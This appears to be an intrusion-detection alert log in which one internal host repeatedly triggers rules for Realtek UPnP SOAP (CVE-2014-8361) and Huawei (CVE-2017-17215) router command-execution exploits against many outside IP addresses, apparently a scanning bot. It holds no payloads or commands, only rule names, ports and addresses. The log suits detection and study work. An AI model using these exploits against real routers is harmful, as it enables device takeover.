07/20/24-23:01:04.624022	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37678	52869	192.168.2.23	104.75.200.235
07/20/24-23:01:45.511523	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41908	52869	192.168.2.23	169.97.165.219
07/20/24-23:01:48.191657	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39676	52869	192.168.2.23	195.166.157.114
07/20/24-23:01:08.672944	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60846	52869	192.168.2.23	140.186.145.164
07/20/24-23:01:24.929013	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53856	37215	192.168.2.23	41.149.70.228
07/20/24-23:01:40.355589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57784	37215	192.168.2.23	197.66.63.246
07/20/24-23:01:42.703494	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46836	52869	192.168.2.23	130.201.79.70
07/20/24-23:01:08.611391	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49644	52869	192.168.2.23	54.68.100.131
07/20/24-23:01:11.634372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50852	37215	192.168.2.23	197.128.60.5
07/20/24-23:01:45.108909	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56008	52869	192.168.2.23	63.138.19.167
07/20/24-23:01:24.904906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48302	37215	192.168.2.23	71.233.58.215
07/20/24-23:01:03.426187	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36012	52869	192.168.2.23	205.187.52.139
07/20/24-23:01:40.334452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59674	37215	192.168.2.23	197.22.225.39
07/20/24-23:01:06.994337	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45722	37215	192.168.2.23	41.219.238.149
07/20/24-23:02:02.476638	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37504	52869	192.168.2.23	53.255.54.255
07/20/24-23:01:24.889164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58940	37215	192.168.2.23	157.24.252.54
07/20/24-23:01:31.311906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58730	52869	192.168.2.23	59.198.200.174
07/20/24-23:01:01.453951	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42502	52869	192.168.2.23	155.42.58.223
07/20/24-23:01:41.912337	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36424	52869	192.168.2.23	32.146.19.98
07/20/24-23:02:05.506482	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59958	52869	192.168.2.23	62.219.153.144
07/20/24-23:01:47.693711	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50610	52869	192.168.2.23	203.201.27.61
07/20/24-23:01:44.631448	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34526	52869	192.168.2.23	133.122.43.145
07/20/24-23:01:46.556921	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39934	52869	192.168.2.23	190.183.92.200
07/20/24-23:01:11.642449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45192	37215	192.168.2.23	157.196.130.183
07/20/24-23:01:20.131339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60866	37215	192.168.2.23	41.20.237.244
07/20/24-23:01:31.313163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59674	52869	192.168.2.23	108.240.199.7
07/20/24-23:01:42.530468	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49066	52869	192.168.2.23	164.43.137.199
07/20/24-23:01:34.044717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34212	37215	192.168.2.23	197.171.121.26
07/20/24-23:01:20.152427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54164	37215	192.168.2.23	197.173.190.17
07/20/24-23:01:42.696197	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41620	52869	192.168.2.23	174.232.185.220
07/20/24-23:01:08.598416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33108	52869	192.168.2.23	4.72.134.93
07/20/24-23:01:44.156178	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58330	52869	192.168.2.23	221.223.71.222
07/20/24-23:01:00.648489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36536	37215	192.168.2.23	157.118.19.128
07/20/24-23:01:14.140178	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57756	52869	192.168.2.23	87.178.133.43
07/20/24-23:01:41.501891	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46770	52869	192.168.2.23	2.78.155.76
07/20/24-23:01:57.886795	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51338	52869	192.168.2.23	194.242.148.126
07/20/24-23:01:40.311124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38954	37215	192.168.2.23	157.26.5.201
07/20/24-23:01:06.989167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40944	37215	192.168.2.23	197.87.44.29
07/20/24-23:02:02.387600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47516	52869	192.168.2.23	119.168.200.153
07/20/24-23:01:11.641686	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33626	37215	192.168.2.23	41.162.241.10
07/20/24-23:01:20.124696	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39104	37215	192.168.2.23	41.163.165.19
07/20/24-23:01:31.331820	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48328	52869	192.168.2.23	172.14.168.150
07/20/24-23:01:48.547161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59820	52869	192.168.2.23	129.246.142.35
07/20/24-23:01:20.202325	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49686	37215	192.168.2.23	119.225.217.146
07/20/24-23:01:42.165780	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57706	52869	192.168.2.23	160.40.68.243
07/20/24-23:01:45.540580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49004	52869	192.168.2.23	204.255.198.47
07/20/24-23:01:34.048825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40652	37215	192.168.2.23	157.46.74.240
07/20/24-23:01:42.790680	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53028	52869	192.168.2.23	189.193.210.39
07/20/24-23:01:52.838689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55674	52869	192.168.2.23	136.248.242.20
07/20/24-23:02:01.681802	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49888	52869	192.168.2.23	190.157.219.101
07/20/24-23:01:20.202325	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40830	37215	192.168.2.23	197.39.102.71
07/20/24-23:01:42.717611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38634	52869	192.168.2.23	163.215.30.136
07/20/24-23:01:41.867104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37288	52869	192.168.2.23	108.137.226.148
07/20/24-23:01:42.401855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40012	52869	192.168.2.23	53.176.94.191
07/20/24-23:01:31.974782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38850	37215	192.168.2.23	197.86.232.67
07/20/24-23:01:41.608574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55524	52869	192.168.2.23	208.24.233.14
07/20/24-23:01:52.053251	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33236	52869	192.168.2.23	65.82.234.209
07/20/24-23:01:43.135089	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57444	52869	192.168.2.23	9.44.236.192
07/20/24-23:01:41.407067	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56622	52869	192.168.2.23	78.5.59.56
07/20/24-23:01:32.027082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39308	37215	192.168.2.23	139.146.7.44
07/20/24-23:01:08.584507	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35960	52869	192.168.2.23	8.98.158.174
07/20/24-23:01:08.563416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37874	52869	192.168.2.23	126.16.187.60
07/20/24-23:01:31.979565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45832	37215	192.168.2.23	157.183.175.156
07/20/24-23:01:31.322110	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51984	52869	192.168.2.23	71.185.104.236
07/20/24-23:01:42.647416	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58418	52869	192.168.2.23	91.15.191.58
07/20/24-23:01:42.357440	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56164	52869	192.168.2.23	42.7.66.220
07/20/24-23:01:45.109957	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46940	52869	192.168.2.23	89.230.177.62
07/20/24-23:01:42.580745	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42542	52869	192.168.2.23	1.216.69.165
07/20/24-23:01:45.432263	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46866	52869	192.168.2.23	110.45.133.89
07/20/24-23:02:20.036130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43458	52869	192.168.2.23	38.132.172.199
07/20/24-23:01:42.508021	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34132	52869	192.168.2.23	100.224.33.210
07/20/24-23:01:05.010861	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58646	52869	192.168.2.23	70.148.71.209
07/20/24-23:01:41.295497	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36678	52869	192.168.2.23	58.43.60.192
07/20/24-23:01:27.650643	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55442	37215	192.168.2.23	157.62.33.47
07/20/24-23:01:31.977603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33966	37215	192.168.2.23	157.46.234.94
07/20/24-23:01:08.575986	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34640	52869	192.168.2.23	25.158.237.150
07/20/24-23:01:41.258056	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40456	52869	192.168.2.23	96.234.113.72
07/20/24-23:01:47.872561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45328	52869	192.168.2.23	84.198.11.250
07/20/24-23:01:02.236183	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48494	52869	192.168.2.23	124.144.192.144
07/20/24-23:01:24.915904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55640	37215	192.168.2.23	197.169.84.58
07/20/24-23:01:47.818739	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49766	52869	192.168.2.23	67.31.108.66
07/20/24-23:01:34.048825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53792	37215	192.168.2.23	157.199.109.79
07/20/24-23:01:49.277117	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58846	52869	192.168.2.23	216.9.135.122
07/20/24-23:01:51.879276	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60162	52869	192.168.2.23	13.31.40.78
07/20/24-23:01:54.930155	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40160	52869	192.168.2.23	197.213.222.122
07/20/24-23:01:42.619336	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37076	52869	192.168.2.23	40.50.75.236
07/20/24-23:01:57.313050	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48812	52869	192.168.2.23	187.4.24.206
07/20/24-23:01:42.636583	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43652	52869	192.168.2.23	167.4.219.92
07/20/24-23:01:27.654172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36154	37215	192.168.2.23	41.20.72.212
07/20/24-23:01:44.280820	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37874	52869	192.168.2.23	123.227.205.159
07/20/24-23:01:08.594120	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43500	52869	192.168.2.23	173.195.200.196
07/20/24-23:01:27.664887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48150	37215	192.168.2.23	197.146.248.19
07/20/24-23:01:49.578308	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42790	52869	192.168.2.23	37.20.218.143
07/20/24-23:01:03.299761	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60246	52869	192.168.2.23	40.55.203.85
07/20/24-23:01:43.946478	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51148	52869	192.168.2.23	108.216.198.203
07/20/24-23:01:42.623848	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57578	52869	192.168.2.23	96.213.123.243
07/20/24-23:01:51.060408	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44768	52869	192.168.2.23	158.244.111.55
07/20/24-23:01:20.149798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58456	37215	192.168.2.23	157.163.36.247
07/20/24-23:01:43.607934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59822	52869	192.168.2.23	160.195.41.193
07/20/24-23:01:45.484487	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51746	52869	192.168.2.23	182.81.116.37
07/20/24-23:01:14.000556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38772	52869	192.168.2.23	157.5.72.210
07/20/24-23:02:20.036130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39516	52869	192.168.2.23	131.18.19.96
07/20/24-23:01:06.973541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33252	37215	192.168.2.23	118.232.12.90
07/20/24-23:01:14.090830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33680	37215	192.168.2.23	197.93.60.57
07/20/24-23:01:02.048367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42542	37215	192.168.2.23	157.219.32.62
07/20/24-23:01:48.958887	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43122	52869	192.168.2.23	110.158.170.123
07/20/24-23:01:00.637175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59906	37215	192.168.2.23	140.34.44.126
07/20/24-23:01:59.302806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38432	52869	192.168.2.23	217.255.162.70
07/20/24-23:01:14.049603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45854	37215	192.168.2.23	157.40.222.217
07/20/24-23:00:59.203960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49544	37215	192.168.2.23	41.37.144.8
07/20/24-23:01:46.261793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39266	52869	192.168.2.23	137.133.156.16
07/20/24-23:01:59.745622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41978	52869	192.168.2.23	144.252.195.82
07/20/24-23:01:42.928503	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35990	52869	192.168.2.23	202.8.238.183
07/20/24-23:01:24.459589	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43272	52869	192.168.2.23	179.40.74.15
07/20/24-23:01:31.986571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41958	37215	192.168.2.23	157.195.52.119
07/20/24-23:01:04.050503	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52282	37215	192.168.2.23	41.149.9.235
07/20/24-23:01:41.353334	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39012	52869	192.168.2.23	197.85.104.215
07/20/24-23:01:07.016889	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46684	37215	192.168.2.23	197.53.90.124
07/20/24-23:01:34.044417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38864	37215	192.168.2.23	157.83.163.2
07/20/24-23:01:47.987185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34106	52869	192.168.2.23	140.138.195.141
07/20/24-23:01:41.699842	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57614	52869	192.168.2.23	70.95.192.176
07/20/24-23:01:41.494999	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44172	52869	192.168.2.23	219.196.203.133
07/20/24-23:01:00.639093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53158	37215	192.168.2.23	197.197.73.14
07/20/24-23:01:07.082045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49214	37215	192.168.2.23	34.4.8.9
07/20/24-23:01:43.110964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46540	52869	192.168.2.23	98.147.36.143
07/20/24-23:01:02.117244	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35798	52869	192.168.2.23	207.30.132.8
07/20/24-23:01:01.901550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33518	52869	192.168.2.23	27.130.132.139
07/20/24-23:01:41.295718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51266	52869	192.168.2.23	14.249.111.18
07/20/24-23:01:41.279073	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57644	52869	192.168.2.23	122.124.32.89
07/20/24-23:01:42.250039	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55558	52869	192.168.2.23	220.17.179.230
07/20/24-23:01:46.871315	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47422	52869	192.168.2.23	196.221.214.48
07/20/24-23:01:53.581574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55926	52869	192.168.2.23	93.94.222.156
07/20/24-23:01:02.355712	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33494	52869	192.168.2.23	196.0.98.90
07/20/24-23:01:45.713934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37610	52869	192.168.2.23	90.150.161.105
07/20/24-23:01:59.356106	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50206	52869	192.168.2.23	37.84.136.136
07/20/24-23:01:42.131607	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50228	52869	192.168.2.23	172.233.108.76
07/20/24-23:01:40.334452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51350	37215	192.168.2.23	137.161.38.152
07/20/24-23:01:01.189596	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49348	52869	192.168.2.23	131.199.217.59
07/20/24-23:01:24.884598	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55218	37215	192.168.2.23	98.114.190.226
07/20/24-23:01:42.809716	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55558	52869	192.168.2.23	200.107.251.119
07/20/24-23:02:02.291967	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57042	52869	192.168.2.23	135.85.2.136
07/20/24-23:01:20.150638	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43764	37215	192.168.2.23	47.210.130.207
07/20/24-23:01:00.636533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59666	37215	192.168.2.23	197.28.251.253
07/20/24-23:01:00.641498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51062	37215	192.168.2.23	197.12.203.6
07/20/24-23:01:14.203011	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52244	37215	192.168.2.23	157.84.128.158
07/20/24-23:01:52.038834	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45048	52869	192.168.2.23	18.71.115.72
07/20/24-23:02:11.703257	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51836	52869	192.168.2.23	169.52.197.149
07/20/24-23:01:08.683684	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59490	52869	192.168.2.23	175.24.153.194
07/20/24-23:01:12.806645	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40080	52869	192.168.2.23	213.27.181.202
07/20/24-23:01:01.437626	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60144	52869	192.168.2.23	205.32.150.55
07/20/24-23:01:01.805210	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55998	52869	192.168.2.23	44.70.248.184
07/20/24-23:01:43.474436	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41066	52869	192.168.2.23	186.139.241.135
07/20/24-23:01:08.599362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51788	52869	192.168.2.23	193.7.32.204
07/20/24-23:01:27.651187	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49850	37215	192.168.2.23	197.49.83.49
07/20/24-23:01:44.991829	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34298	52869	192.168.2.23	67.229.67.72
07/20/24-23:01:03.958922	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60076	52869	192.168.2.23	206.248.87.37
07/20/24-23:01:42.641430	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33448	52869	192.168.2.23	67.229.67.72
07/20/24-23:01:13.604911	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45406	52869	192.168.2.23	27.150.162.76
07/20/24-23:01:42.129029	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40978	52869	192.168.2.23	203.162.151.3
07/20/24-23:01:40.279669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56928	37215	192.168.2.23	197.67.22.235
07/20/24-23:01:24.934977	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34426	37215	192.168.2.23	166.230.251.127
07/20/24-23:01:00.645186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42260	37215	192.168.2.23	41.112.123.1
07/20/24-23:01:25.146493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45846	52869	192.168.2.23	152.43.74.118
07/20/24-23:01:02.064358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53606	37215	192.168.2.23	197.5.169.228
07/20/24-23:01:32.046652	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42354	37215	192.168.2.23	157.109.141.179
07/20/24-23:01:41.960623	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53334	52869	192.168.2.23	173.71.226.225
07/20/24-23:01:27.749737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52906	37215	192.168.2.23	218.132.145.180
07/20/24-23:01:40.286738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35292	37215	192.168.2.23	99.202.196.168
07/20/24-23:01:04.014688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58962	37215	192.168.2.23	197.34.158.231
